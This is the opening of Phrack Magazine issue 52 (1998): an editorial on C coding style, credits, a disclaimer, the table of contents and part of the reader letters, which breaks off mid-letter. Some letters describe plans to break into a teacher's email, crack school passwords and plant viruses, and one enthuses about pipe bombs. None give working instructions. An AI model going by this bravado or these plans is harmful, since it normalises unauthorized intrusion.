16828 lines
659 KiB
Plaintext
16828 lines
659 KiB
Plaintext
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 01 of 20
|
||
|
||
|
||
-------------------------[ P H R A C K 5 2 I N D E X
|
||
|
||
|
||
--------[ Choose your own $PATH adventure
|
||
|
||
|
||
|
||
Whew. You would be quite surprised at the evil wheels I had to set in
|
||
motion in order to get this issue out. According to Newton, a Phrack Issue
|
||
remains at rest or continues to move in a straight line with a uniform
|
||
velocity if there is no unbalanced force acting on it. This issue was at rest.
|
||
Its velocity was constant. And there were few forces acting on it. Anyhow,
|
||
after many machinations it's here. Enjoy.
|
||
|
||
I have a gripe. Something upon which I'd like dwell for a spell. Let's
|
||
talk about coding aesthetic (from the C programming standpoint). Now, this is
|
||
not a harangue about effective coding or efficient coding, I'll save those for
|
||
some other time (perhaps for the time when I feel I can write effective and
|
||
efficient code proficiently enough to vituperate to those who do not). I
|
||
want to touch down on a few topics of visual appeal, which are overlooked so
|
||
often.
|
||
|
||
The five major areas I will cover are indentation, brace placement,
|
||
use of whitespace, commenting, as well as variable and function nomenclature.
|
||
I suppose I should also mention that coding style is a personal preference
|
||
type of thing. There are all kinds of schools of thought out there, and all
|
||
kinds of methodologies on how to write pretty code. In the grand scheme of
|
||
things, none are really any more correct than any others, except mine.
|
||
|
||
C is, for the most part, a format free programming language. Code can be
|
||
written with all manner of whitespace, tabs, and newlines. The compiler
|
||
certainly doesn't care. The machine doesn't care. This can be a double
|
||
edged sword. There is quite a bit of room for artistic interpretation. And
|
||
just like in real life, there is a lot of crappy art out there.
|
||
|
||
Indenting your code is a must. Please, do this. Indentation is here for
|
||
one simple reason: to clearly and unequivocally define blocks of control.
|
||
However, 8 space tabstops are overkill. Unless you are using a 2 point font on
|
||
a 13" screen, 4 spaces should easily define your control blocks. This allows
|
||
you to maintain clarity on an 80 column screen while nesting blocks of control
|
||
much deeper then you would with 8 space tab stops. 2 space tabstop advocates
|
||
should be shot. However, don't let typography take over your code (ala ink
|
||
obscuring the intent). If you have 7 million levels of indentation, perhaps
|
||
you should rethink your approach to tackling the problem...
|
||
|
||
Bracing has a simple solution. The most effective use of bracing is in
|
||
placing them on newlines so that they neatly enclose the area of control. This
|
||
is especially important with nested levels of control. I know this generates
|
||
empty lines. Oh well. They're free. Blocks of control become easily visible
|
||
and it is easy to isolate one from another. This goes for functions as well
|
||
as conditionals and loop structures. I know I go against K&R here. Oh well.
|
||
|
||
In the pursuit of clear, readable code, whitespace is your friend. Single
|
||
space all keywords and all variables and constants separated by commas. It's
|
||
a simple thing to do to drastically improve readability. When you have a
|
||
series of assignments, one after another, it's a nice touch to line them up on
|
||
the closest relative 4 space boundary. And please, no spaces between structure
|
||
pointer operators and structure contents.
|
||
|
||
Commenting is a delicate matter. Descriptive, concise, well written code
|
||
shouldn't really need commenting, or at least very much of it. But this isn't
|
||
a rant about descriptive, concise, well written code. If you feel the need
|
||
to comment your code, follow a few simple rules:
|
||
- Keep the comment block as small as possible.
|
||
- Don't tab out your comment frames to line up with each other. That's
|
||
just plain fucking annoying. If you're doing that, you have too many
|
||
comments anyway.
|
||
- Commenting datatype declarations rather then the functions that
|
||
manipulate them is usually more helpful.
|
||
- If you must comment, keep your style as consistent as possible. If the
|
||
commenting detracts from the readibilty of your code, you've just ponied
|
||
up any clarification you might have achieved with the commenting.
|
||
|
||
The major exception to these rules are file headers. The beginning of
|
||
source and header files should always have some descriptive information,
|
||
including: file name, author, purpose, modification dates, etc... These
|
||
comment blocks should always have a simple vertical line of unobtrusive
|
||
astricks, framed with the required forward slashes. People using C++ style
|
||
commenting in C programs should be drawn and quartered.
|
||
|
||
The other exception to this rule is when you are writing code specifically
|
||
for the benefit of others. If the code is intended to be a learning tool,
|
||
copious commenting is allowable.
|
||
|
||
Variable and function nomenclature should have connotation as to what their
|
||
purpose in life is. As short as possible while still preserving some sort of
|
||
identity. Descriptive names are wonderful, but don't go overboard. Generally,
|
||
a condensed one or two word descriptor (possiblely connected via an underscore)
|
||
will work fine. And please, no mixed case. The only time uppercase characters
|
||
should appear in C code are in symbolic constants and macros (and possibly
|
||
strings and comments).
|
||
|
||
|
||
This tirade is the result of my experiences in reading and writing C code.
|
||
In my travels as a stalwart mediocre programmer, I have progressed through many
|
||
levels of maturity in my programming style. Much of my old code exhibits many
|
||
of the very things eschewed as anathema in this jeremiad. Well, what can I
|
||
say? I believe that I have grown. I am at home with the me. This is me
|
||
breathing. (Tell me what movie that's from, and I will give you a Phrack
|
||
Donut.)
|
||
|
||
|
||
Enjoy the magazine. It is by and for the hacking community. Period.
|
||
|
||
|
||
-- Editor in Chief ----------------[ route
|
||
-- Director of Public Operations --[ dangergirl
|
||
-- Phrack World News --------------[ disorder
|
||
-- Werdsmith ----------------------[ loadammo
|
||
-------- Elite --------------------> asriel
|
||
-- Santa vs. Jesus ----------------[ ISS vs. SNI
|
||
-- Festively Plump ----------------[ Cartman
|
||
-- Extra Special Thanks -----------[ No one.
|
||
-- Official Phrack CD -------------[ FLA/Flavour of the Weak
|
||
-- Official Phrack Drink ----------[ `The C Kilborn` (2.9 parts ketel one,
|
||
-----------------------------------| .1 parts tonic)
|
||
-- Shout Outs and Thank Yous ------[ Lords of Acid, cantor, Yggdrasil,
|
||
-----------------------------------| snokerash, Voyager, TNO, Jeff Thompson,
|
||
-----------------------------------| angstrom, redragon, Rob Pike, halflife
|
||
-- B.A. Baracus Phrack Fracas -----[ loadammo vs. Death Veggie
|
||
-- Original flip.c author (props) -[ datagram
|
||
-- Gas Face Given (drops) ---------[ solo, klepto
|
||
|
||
Phrack Magazine V. 8, #52, January 26, 1998. ISSN 1068-1035
|
||
Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing
|
||
may be reproduced in whole or in part without written permission from the
|
||
editor in chief. Phrack Magazine is made available quarterly to the public,
|
||
free of charge. Go nuts people.
|
||
|
||
|
||
Subscription requests, articles, comments, whatever should be directed to:
|
||
|
||
phrackedit@phrack.com
|
||
|
||
Submissions to the above email address may be encrypted with the following key:
|
||
|
||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||
Version: 2.6.2
|
||
|
||
mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
|
||
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
|
||
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
|
||
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
|
||
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
|
||
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
|
||
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
|
||
=1iyt
|
||
-----END PGP PUBLIC KEY BLOCK-----
|
||
|
||
As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out
|
||
plaintext. You certainly can subscribe in plaintext.
|
||
|
||
phrack:~# head -20 /usr/include/std-disclaimer.h
|
||
/*
|
||
* All information in Phrack Magazine is, to the best of the ability of the
|
||
* editors and contributors, truthful and accurate. When possible, all facts
|
||
* are checked, all code is compiled. However, we are not omniscient (hell,
|
||
* we don't even get paid). It is entirely possible something contained
|
||
* within this publication is incorrect in some way. If this is the case,
|
||
* please drop us some email so that we can correct it in a future issue.
|
||
*
|
||
*
|
||
* Also, keep in mind that Phrack Magazine accepts no responsibility for the
|
||
* entirely stupid (or illegal) things people may do with the information
|
||
* contained here-in. Phrack is a compendium of knowledge, wisdom, wit, and
|
||
* sass. We neither advocate, condone nor participate in any sort of illicit
|
||
* behavior. But we will sit back and watch.
|
||
*
|
||
*
|
||
* Lastly, it bears mentioning that the opinions that may be expressed in the
|
||
* article of Phrack Magazine are intellectual property of their authors.
|
||
* These opinions do not necessarily represent those of the Phrack Staff.
|
||
*/
|
||
|
||
-------------------------[ T A B L E O F C O N T E N T S
|
||
|
||
1 Introduction Phrack Staff 12K
|
||
2 Phrack Loopback Phrack Staff 60K
|
||
3 Line Noise various 79K
|
||
4 Phrack Prophile on o0 Phrack Staff 07K
|
||
5 Everything a hacker needs to know about getting busted Agent Steal 72K
|
||
6 Hardening the Linux Kernel daemon9 42K
|
||
7 The Linux pingd daemon9 17K
|
||
8 Steganography Thumbprinting anonymous 35K
|
||
9 On the Morality of Phreaking Phrack Staff 19K
|
||
10 A Quick NT Interrogation Probe twitch 18K
|
||
11 Subscriber Loop Carrier voyager 48K
|
||
12 Voice Response Systems voyager 18K
|
||
13 Pay Per View (you don't have to) cavalier 19K
|
||
14 The International Crime Syndicate Association D. Demming 20K
|
||
15 Digital Certificates Yggdrasil 14K
|
||
16 Piercing Firewalls bishnu 31K
|
||
17 Protected mode programming and O/S development mythrandir 76K
|
||
18 Weakening the Linux Kernel plaguez 27K
|
||
19 Phrack World News Disorder 64K
|
||
20 extract.c Phrack Staff 08K
|
||
|
||
687K
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
When Sen. Bob Kerrey (D-Neb.) was asked to define encryption, the results
|
||
were horrific. "Well, I mean, to answer your question, I mean, encryption is
|
||
-- the political equivalent of encryption is you ask me a question, I give you
|
||
an answer and you don't understand it," he managed. "I mean, I intentionally
|
||
garble the answer frequently. I intentionally garble the response so that you
|
||
can't understand what I'm saying. And that's -- you notice that I've got the
|
||
ability to do that."
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
----[ EOF
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 02 of 20
|
||
|
||
|
||
-------------------------[ P H R A C K 52 L O O P B A C K
|
||
|
||
|
||
--------[ Phrack Staff
|
||
|
||
|
||
|
||
[ Ed. note: The letters are perhaps editted for format, but generally not for
|
||
grammar and/or spelling. I try not to correct the vernacular, as it often
|
||
adds a colorful perspective to the letter in question. ]
|
||
|
||
0x1>--------------------------------------------------------------------------
|
||
|
||
[ P51-02@0x14: ...Xarthons submission about Linux IP_MASQ in Phrack 50... ]
|
||
|
||
In reply to Swift Griggs ranting about my stupidity,
|
||
(and disrespekt i recieved from the rest of the AOL community)
|
||
|
||
Swift: the 'problem' in IP_MASQ which I reported was not meant
|
||
to be considered a security problem, rather a notification
|
||
of a potential problem, or at least this is what i was told.
|
||
|
||
i stole this 'problem' from a evil hacker who works for the NSA.
|
||
at the time, if i had been aware that the info i ripped from him
|
||
was totally false, i would have said so in the letter.
|
||
and believe me, if [named_removed] was awake more than 5 minutes
|
||
a day i would be severely anal at him for informing me of
|
||
this false intelligence.
|
||
|
||
the main thing the hacker/phracker/aol community needs to
|
||
learn from this event is that when giving information to be
|
||
ripped, it should be correct. next time ill make sure
|
||
to reword the context i have pasted with GPM properly.
|
||
|
||
btw, i must apologize for the tabs in this letter, pico
|
||
has proven difficult to use.
|
||
|
||
i must go, i have to pry this gerbil off my flacid cock.
|
||
|
||
thanks, and keep hackin!
|
||
|
||
xarthon
|
||
|
||
0x2>--------------------------------------------------------------------------
|
||
|
||
[ P51-02@0x1b: You have our permission to write r00t on your backpack. ]
|
||
|
||
That may be the funniest response to a letter I have ever read.
|
||
Your response to MICH Kabay was a close second.
|
||
|
||
The wait was well worth it. I would rather see quality Phrack 2 or 3 times a
|
||
yar than crap delivered every 3 months. I have to get back to reading now....
|
||
|
||
pip (John)
|
||
|
||
[ Go away Pip, nobody likes you. ]
|
||
|
||
0x3>--------------------------------------------------------------------------
|
||
|
||
[ P51-02@0x2c: I have a question regarding a certain piece of hardware... ]
|
||
|
||
It's a barcode scanner used at some terminals, such as public libraries. You
|
||
plug it in between the keyboard and the computer, and when you want to scan in
|
||
a barcode from a book being checked out or an item being purchased, you push
|
||
the button on the SCANNER and it outputs the barcode in ASCII numeric just as
|
||
if it had been typed in from the keyboard. So, now ya know.
|
||
|
||
Unknown/604
|
||
|
||
--
|
||
|
||
d00d, that's a s00p3r s3kr3t CIA, FBI g0vt. c0nspir@cY k3yb0ard f1lt3r!!@@!21
|
||
|
||
Actually, your mystery device sounds more like the "box" that connects between
|
||
the keyboard and a barcode scanner. The "SCANNER" connector is where you'd
|
||
plug in a typical "wand" or "gun" barcode reader. Not much you can do with it
|
||
by itself, IMO. Again, it might be something else, but that's what it sounds
|
||
like to me.
|
||
|
||
nate@millcomm.com
|
||
|
||
--
|
||
|
||
What this sounds like is the interface from one of the wand or
|
||
lightgun-type laser barcode readers. These can be seen in action at
|
||
some of the retail outlets around here for reading barcodes from
|
||
clothing price tags or whatnot. One of those useful inventions that
|
||
came out of turning 386's into POS terminals.
|
||
|
||
It's probably useless without the accompaning wand, but you might keep
|
||
it around and try to find the missing part.
|
||
|
||
wiz
|
||
|
||
--
|
||
|
||
[ We received a gaggle of responses to this inquiry. To those of you who sent
|
||
in responses, our humblest thanks. ]
|
||
|
||
0x4>--------------------------------------------------------------------------
|
||
|
||
Hi!
|
||
I need your help!
|
||
Tell me, please, where I can found information via Internet
|
||
about Carding (Scheme of reader/writer and etc.)
|
||
thanks.
|
||
Bye.
|
||
|
||
[ http://www.etexguide.com/cardtricks ]
|
||
|
||
0x5>--------------------------------------------------------------------------
|
||
|
||
[ P50-03: Portable BBS Hacking by: Khelbin ]
|
||
|
||
Dear Phrack,
|
||
|
||
An old article of mine entitled "Portable BBS Hacking" appeared in Phrack
|
||
issue 50 under the line noise section. In Phrack 51, a reader expressed that
|
||
he/she was frustrated at not being able to apply the techniques that were
|
||
described in my article. Please publish this response in Phrack 52
|
||
|
||
Let me state right off the bat that "Portable BBS Hacking" was not
|
||
written to specifically expose any one software-specific problem. Instead,
|
||
the article introduced a potential security threat to all BBS software so that
|
||
SysOps around the globe could check for such vulnerabilities and correct the
|
||
problem if it was present. A 'mock' Renegade setup was used just because some
|
||
software had to be used in order to explain the theory behind the attack.
|
||
|
||
Now to address the frustrated reader who is obviously aspiring to become
|
||
an ever-so-elite BBS-h4x0r! While I often enjoy toking on a crack pipe, this
|
||
method was tested prior to writing this article. It was tested on Renegade
|
||
04-x quite some time ago (as the article had been written some time ago, but
|
||
never published). I currently run FreeBSD 2.2.2, so I havn't been able to do
|
||
any more testing to help you hack BBS' and become ph33red. *BUT*, I am sure
|
||
that versions of THD ProScan (a utility to scan uploaded files for viruses and
|
||
other problems) will foil this attack. I am also sure (just by what I remember
|
||
of how Renegade works) that If you follow the steps that I gave you in Phrack
|
||
50 correctly, upload a file, and then the SysOp were to (X)tract files from
|
||
that file into \temp that it would work. I am also sure that there are other
|
||
packages out there other than THD ProScan that do the same thing, but not in a
|
||
secure fashion. The methods described in "Portable BBS Hacking" will also work
|
||
with these packages. I hope you weren't just having Renegade check the file
|
||
integrity with pkunzip -t or just view the contents of the zipfile. Your
|
||
response wasn't very specific so it's hard for me to be specific in this
|
||
reply however, I can tell that you also enjoy an occasional joint of
|
||
crack, so feel free to contact me sometime and we'll smoke!
|
||
|
||
Yours Truly,
|
||
Khelbin Sunvold
|
||
|
||
0x6>--------------------------------------------------------------------------
|
||
|
||
Hi,
|
||
|
||
What program do I have to use in order to read the Phrack Magazine?
|
||
|
||
Thank you,
|
||
Adrian
|
||
|
||
[ We at Phrack Magazine do not explicitly endorse any particular program,
|
||
however, many 12 step programs work wonders: Narcotics Anonymous, Overeaters
|
||
Anonymous, Codependency Anonymous, Debtors Anonymous, Beyond Controloholism,
|
||
Science Fiction Addiction, etc. Also try:
|
||
`gzip -dc phrack.tgz | tar xvf -`. ]
|
||
|
||
0x7>--------------------------------------------------------------------------
|
||
|
||
Please allow me to introduce myself. My name is Itai Dor-on and I am a system
|
||
integrator From Israel.
|
||
|
||
[ No introductions are necessary. ]
|
||
|
||
I got the phrack.com address from one of the subscribers on the
|
||
firewalls@GreatCircle.COM mailing list in response to my inquiry on smtp
|
||
exploits. (phrack 50)
|
||
|
||
[ shattered:~/Phrack/50:~> grep -i SMTP * | grep -i exploit
|
||
shattered:~>
|
||
There are no SMTP related exploits in Phrack 50. ]
|
||
|
||
I downloaded the file but it seems that it is encoded in a format which I can
|
||
not read. I use windows 95/NT. I would like to know if there is a special
|
||
viewer for the file.
|
||
|
||
[ See above letter. ]
|
||
|
||
Is there other informative information in the phrack.com site that is relevant
|
||
to Security exploits in tcpi/ip
|
||
|
||
[ Phrack 48 - 52 ]
|
||
|
||
I thank you in advance for any response
|
||
|
||
Yours Truly,
|
||
|
||
Itai Dor-on
|
||
|
||
0x8>--------------------------------------------------------------------------
|
||
|
||
Phrack is the best magazine of its kind I've ever seen !!! Maybe you could
|
||
write something about tapping telephone wires in order to record data and
|
||
fax on a portable tape recorder. I've read an article from Damnation that
|
||
was pretty good, but maybe you could give me, and the other readers of
|
||
course, some additional information. I'm also interested in hacking the
|
||
E-mail server of my ISP in order to read my teacher's mail, so what kind of
|
||
program do I need to do this ? I know his login but I don't know his
|
||
password. I've got a terminal program called Dialog that doesn't seem to
|
||
be very useful, but maybe you know a better one ?!? Now, my last question:
|
||
I'm using CuteFTP to log on to my homepage's folder . One day I've found
|
||
some write protected folders and files, so my question is how do I get
|
||
access to these files and how do I go to other folders to which I'm not
|
||
allowed to go (hidden,write-protected, etc.) ?
|
||
|
||
Thank you very much in advance !
|
||
|
||
Host
|
||
|
||
[ I had a flame all ready and prepared, but this letter really seems to set
|
||
itself on fire. ]
|
||
|
||
0x9>--------------------------------------------------------------------------
|
||
|
||
Hey guys, I'm a first time ready and, well duh, first time responder to
|
||
yer mag...I must say that I am thoroughly impressed with what you've all
|
||
put together...as a Linux user, it shall certainly be a very useful
|
||
utility/resource for me...I just nabbed the 51st issue and it rocks thus
|
||
far...downloading the other issues as I type this...just thought you might
|
||
like to know ya got another reader who is overjoyed at getting off his
|
||
lazy ass and finally reading yer mag which i've heard about in the past...
|
||
Ezines never were something for me but i said fuckit and went for Phrack..
|
||
your mag is the most informative and entertaining Ezine that i've seen to
|
||
date (and i been on the 'net for 4+ years now...that might say something)
|
||
anyhow, enuf blabber from me, L8!
|
||
|
||
-GnEaThEg0d
|
||
|
||
[ Well, thank you very much. ]
|
||
|
||
0xa>--------------------------------------------------------------------------
|
||
|
||
I'd like to congratulate Narbo on his brief introduction to CCS7. I
|
||
was begining to think that noone was interested in telecommunications
|
||
anymore.
|
||
|
||
[ Agreed. Note that we would very much appreciate further submissions of
|
||
this kind. ]
|
||
|
||
One thing I'd like to add for Phrack's Japanese audience is that they are
|
||
the odd balls when it comes to signaling data links. While signaling data
|
||
links are 56kbps in North America and 64kbps virutally everywhere else,
|
||
Japan uses 4.8kbps links. Actually I guess we, in North America, are
|
||
also a little odd at 56kbps but at least it's closer to the norm. :)
|
||
|
||
|
||
-khelbin
|
||
|
||
0xb>--------------------------------------------------------------------------
|
||
|
||
Yea, I wanna subscribe to phrack..This is my e-mail
|
||
address..noah6@juno.com...Sign me up if I'm writing the right place..if
|
||
not..tell me how to subscribe
|
||
later
|
||
oh yea..I know I'm not supposed to ask..but I don't have internet
|
||
access..I could use all the back issues of phrack in one big long letter
|
||
if you could..I can't recieve files with this account..so if you could
|
||
cut and paste or some shit...
|
||
later
|
||
|
||
[ Sure. Let me get right on that. Even better, what's your postal address?
|
||
I'll have the Phrack Tactical Team deployed to your house to come hit you
|
||
on the head with a tack hammer because you are a retard. ]
|
||
|
||
0xc>--------------------------------------------------------------------------
|
||
|
||
Good issue, by the way...
|
||
|
||
[ Thanks! ]
|
||
|
||
So whassup with the Milla pictures? Did you mention them in P51-1 just to
|
||
taunt us? How do you get the _non_ASCII version of P51?
|
||
|
||
You're too cruel... :-)
|
||
|
||
JSRS
|
||
|
||
[ Sorry. That Carl's fault. He's new. (Moo. Moo moo.) ]
|
||
|
||
0xd>--------------------------------------------------------------------------
|
||
|
||
To the Anti-Christ,
|
||
|
||
[ Apparently, there was a postal mix-up and we are now getting Satan's mail. ]
|
||
|
||
When I grow up I want to be just like you.
|
||
|
||
[ Great! So, I'll see you at the next Klan-youth meeting? ]
|
||
|
||
That said, can you walk the talk? If so, I have a challenge for you.
|
||
|
||
[ 'walk the talk'? Note: This is email. Something you've mailed to a
|
||
whiley bunch of knuckle-knobs. And quite possibly something that could
|
||
be used to make others laugh at your expense. In the future, take the time
|
||
to grammar and spell check your letters to minimize the emotional damage
|
||
you are bound to suffer. ]
|
||
|
||
I am a neophyte in the
|
||
DarkSide,and need some help catching/avoiding a phreaker,hence the
|
||
interest in your mag. He breaks into phone lines at home and work.
|
||
Tapes conversations and interjects various rude noises on important
|
||
calls. Do you have any ideas as to what I can/should do to protect my
|
||
|
||
[ Sommy! ]
|
||
|
||
privacy and catch this guy? If this is not within your realm of
|
||
expertise, can you refer me to someone for whom it is?
|
||
|
||
[ Try the PHONE COMPANY. ]
|
||
|
||
Don't take my intial inquiry as anythng but an effort to become part
|
||
of the hacker/phreaker world for the sake of my own protection. I
|
||
|
||
[ For your own protection, I suggest NOT becoming part of *any* community.
|
||
Live the rest of your life as a hermit inside a hollowed-out oaktree. ]
|
||
|
||
understand there are many 'good' hackers in your world willing to offer
|
||
assistance in this arena.
|
||
|
||
Your assistance would be greatly appreciated. Thanks.
|
||
|
||
0xe>--------------------------------------------------------------------------
|
||
|
||
Sirs,
|
||
First,thanks for the obvious hard work that goes into your 'zine.
|
||
I guess I'm what you what you would call a "tryin' to be".
|
||
I've got all the back issues and read some every day.I was just
|
||
reading 51,and had to say that besides all the other great things in the
|
||
'zine,it's great to see some people still have a great f*ckin' sense of
|
||
humor.
|
||
Thanx again,
|
||
(to busy trying to learn to have come up
|
||
with a cool handle)...R
|
||
|
||
[ Stop it. I'll get a big head. ]
|
||
|
||
0xf>--------------------------------------------------------------------------
|
||
|
||
I am a newbie hacker/freaker/cracker/sometimes anarchist. I have read
|
||
some of your first Phrack issues and I LOVED EM! Especially the bomb
|
||
making!I am gonna try that stuff when I finally go to my dad's house
|
||
later on this year....I wanna blow shit up!! I have a submission that
|
||
you are gonna get sooner or later about making the ULTIMATE pipe
|
||
bomb....it is REALLY destructive...
|
||
|
||
THANK YOU
|
||
|
||
Demonhawk
|
||
|
||
[ ATTN Deliquent parents: Increase Ritalin by 0.5 mg/Kg. ]
|
||
|
||
0x10>-------------------------------------------------------------------------
|
||
|
||
Day in the Life of a Teenage
|
||
Hacker:
|
||
|
||
Story of My Current Non-Life
|
||
|
||
By:
|
||
|
||
Demonhawk
|
||
|
||
I wake up, staring at the ceiling for ten minutes before my mother
|
||
finally walks in and says, "Time to get up!" I stand and dress myself. Wearing
|
||
the only thing that I can think of that I like, blue jeans and just whatever
|
||
shirt looks best at the time.
|
||
I go and comb my hair (walking to my mom's end of the trailer house to
|
||
use that bathroom because mine doesn't have a mirror, nor a sink, nor more
|
||
than 10x10 feet of space). I walk back to my room and get my books ready for
|
||
school. The block schedual makes my backpack EXCRUTIATINGLY heavy on B days
|
||
while on A days it is light as a feather.
|
||
I lay down-most of the time-and go back to sleep. Others I turn my
|
||
computer's monitor on and type something for a while (my mom says it is bad to
|
||
leave your computer on all night, WRONG! Little does she fuckin' know it is
|
||
better to leave it on!). It is time to go to school and my mom drives me to t
|
||
he middle school (Connally Middle School) where I go in and play on the
|
||
computer suntil school starts (get there 30 mins early).
|
||
I go to my first class, still groggy from the little rest I had the
|
||
night before while I lay awake in my bed pondering what I could do to the
|
||
school's computer system. The recenlty installed network (Novell) was
|
||
supposedly student proof (little do they know). I have the software and I
|
||
could hack it easy. Crack the passwords that the teachers think they are so
|
||
smart to have one that a student can't guess.
|
||
I think about the consequences of hacking 'em, then realize that it
|
||
would be stupid to hack 'em, after all, I am the only one smart enough on the
|
||
computers to hack em. I can crack Windows passwords (easy) with a boot disk
|
||
(or even booting into dos).
|
||
Last year, I will remember angrily, I remember how I got a bum wrap
|
||
for crashing a teacher's computer. I was on it then absent for a week and then
|
||
come back to find out all fingers were being pointed at me. I got kicked off
|
||
the annual "good kid's" Six Flag trip and that REALLY pissed me off.
|
||
Then, as the first period teacher begins to yell something like "Get
|
||
to work!" (I am in shop first period) I wake up and realize I had been
|
||
thinking. Most of the period I will talk to my friends about hacking (the
|
||
two-maybe three-friends I have in that class) and they will ask me computer
|
||
questions and I will answer them (and if I don't know an answer I will make
|
||
one up, after all, they have no idea how to use a computer to its full
|
||
limitations).
|
||
After a few more minutes of thinking I realize a virus will be the way
|
||
to go. The only problem is putting it on the computer. How? Well, maybe if I
|
||
can get access to a teacher's computer while she/he is out of the room. Yeah,
|
||
that would be the only way. But the witnesses (who am I kidding the kids up
|
||
there would LOVE to see the computers crash, in fact, I have been offered
|
||
$$$MONEY$$$ to crash em). I think about the virus idea for a moment. Yeah,
|
||
that is the way to do it. First period is over. I move to my second class. It
|
||
is a no brainer (on both of the days) and I have a lot of time to plot out my
|
||
plan. Trojan Horse. Yes, or maybe Darth Vader...as a calling card. Yeah, that
|
||
would be the way to go. The Trojan Horse virus followed up by the Darth Vader
|
||
virus. Yes. Well,
|
||
I have one of those two. Now lets think here. How to gain access to the
|
||
computer at school. The teacher looks at me and tells me to "get to work!"
|
||
and I look at him/her and reply, "But I am already finished!" and they leave
|
||
me alone. But, maybe I should wait until I am in High School (when the entire
|
||
district will have the internet) and I could port in and leave the virus.
|
||
Yeah, that would work, I couldn't be blamed since I wouldn't go to the Middle
|
||
School any longer. That is a possibility.
|
||
I cheat at my math for a while (copying the back of the book for some
|
||
easy answers) not because I am dumb, hell no, I am in Algebra I in the 8th
|
||
grade for Christ's sake! No, I am just lazy, except when it comes to the
|
||
computers. Second period is over.
|
||
I walk to my third class of the day, an hour till lunch when I get to
|
||
talk to my ENTIRE 5 friends at one time (there are some almost friends in this
|
||
group, people I get along with and, yes, on occasion like to hang around with).
|
||
You see, I am a "nerd" and proud to be one! Now, this is the thing. I am not
|
||
just ANY nerd, I am a nerd with RED hair and fairly THICK glasses with THICK
|
||
frames (I want contact lenses that have mirrored silver on the outside but I
|
||
am not allowed to have them for some fucking unknown reason).
|
||
I do my work, hoping that lunch will come, and eventually it does. I
|
||
walk down the halls meeting a friend or two along the way, getting pushed by
|
||
hicks that don't think computers are "cool". (Just as something that made
|
||
people think I did a speech in Drama class on how computers are gonna crash in
|
||
2000 because of the Millenium Bug. One kid almost pissed in his pants when I
|
||
told them safty systems on Nuclear power plants might go offline and how that
|
||
all cars with electronic timers that shut down until an inspection won't run.
|
||
Plus power might go out, I think that made them appreciate computer freaks
|
||
like you and me just a LITTLE more since WE are the only ones that can save
|
||
them from that hideous fate!!)
|
||
I am laughed at because I run and internet Star Wars club (The
|
||
Conflict at www.geocities.com/Area51/Zone/9875 ). But they don't laugh when I
|
||
tell them I can hack into the school's computers. They look at me dumbfounded
|
||
and then make some smart ass remark. I look at them for a second and walk away,
|
||
I know they don't understand how much of a computer GENIUS I am. Well, to tell
|
||
the truth I am NOT really a computer GENIUS. Well, in some ways I am. I mean I
|
||
CRAVE knowledge like I CRAVE food when I am hungry and water when I am thirsty.
|
||
I can't get enough computer knowledge, I ALWAYS need more (currently I
|
||
am learning C, C++ JAVA, JAVAScript, Visual Basic, and QBasic <----I forgot
|
||
most of what I used to know on that one)
|
||
I eat my lunch (usually Nachos but sometimes Lays potato chips and an
|
||
ice cream) and then go outside where I get an RC Cola. The bell rings and we
|
||
are all herded back inside the main building where we suffer out the rest of
|
||
the day.
|
||
I make it past the rest of 3rd with no problem. Then comes fourth. It
|
||
is a little nerve racking to sit there while time slowly slips by, waiting for
|
||
that bell to ring so that you can be set free of this hellish place.
|
||
The bell rings and I leave the school, heading outside where the buses
|
||
load. Mine is the last and after an hour or waiting it arrives (thank GOD I am
|
||
the first one off) and I go inside my nice, cool house. I turn my computer on
|
||
(if it is off) and begin my homework (I lie about having homework so that I
|
||
can play on the computer without being touched by my mother). I wash the
|
||
dishes and water the dogs. Then I sit down and play on the computer a little
|
||
bit.
|
||
I get on the internet a little while later. I learn a LITTLE more
|
||
hacking and play some games over the internet (ain't technology wonderful???).
|
||
I am far from being an 31337 hacker, but I am doing some good a little. I am
|
||
basically a newbie but I can still hack Novell (childs play).
|
||
After a while of this I take a shower and lie down in bed, dreading
|
||
the next day (unless, of course, it is a weekend).
|
||
|
||
And that, is my Non-Life.
|
||
|
||
[ ATTN DELIQUENT PARENTS: Increase Ritalin by 1201293 mg/Kg. ]
|
||
|
||
0x11>-------------------------------------------------------------------------
|
||
|
||
Dear sir,
|
||
First off, i think phrack is a wonderful publication, the best of its
|
||
kind and better than most, if not all, of the computer related
|
||
commercial publications. You and your staff are doing a great job and
|
||
please keep up the excellent work :)
|
||
|
||
[ So, we're better then 2600. Thanks! *That's* the validation we needed! ]
|
||
|
||
That said, i have a request. I'm writing a paper on the hacking
|
||
subculture and such a project would be, to say the least, severely
|
||
lacking without the inclusion of groups like Phrack Inc., 10pht, and
|
||
|
||
[ Phrack is not incorporated. And you mean `l0pht`. ]
|
||
|
||
r00t. So i would greatly appreciate it if you could fit it into your
|
||
|
||
[ You are already severely lacking. You failed to mention the guild. You
|
||
even forgot b0w. ]
|
||
|
||
doubtless busy schedule to send me a history of Phrack. It can be as
|
||
brief or as in-depth as youd like. From just the date of creation and
|
||
pivotal events in Phrack history to a summary of every passing member's
|
||
contributions to the publication.. anything you can send will be an
|
||
asset to me. Also, if you or any of your staff members would be so
|
||
|
||
[ I'll get some of my interns right on that. Alhambra! Get to it! ]
|
||
|
||
gracious and godly-wonderful as to answer the few questions below that
|
||
would also be greatly, GREATLY appreciated.
|
||
|
||
Q: What is your most commonly used handle and why did you choose it?
|
||
|
||
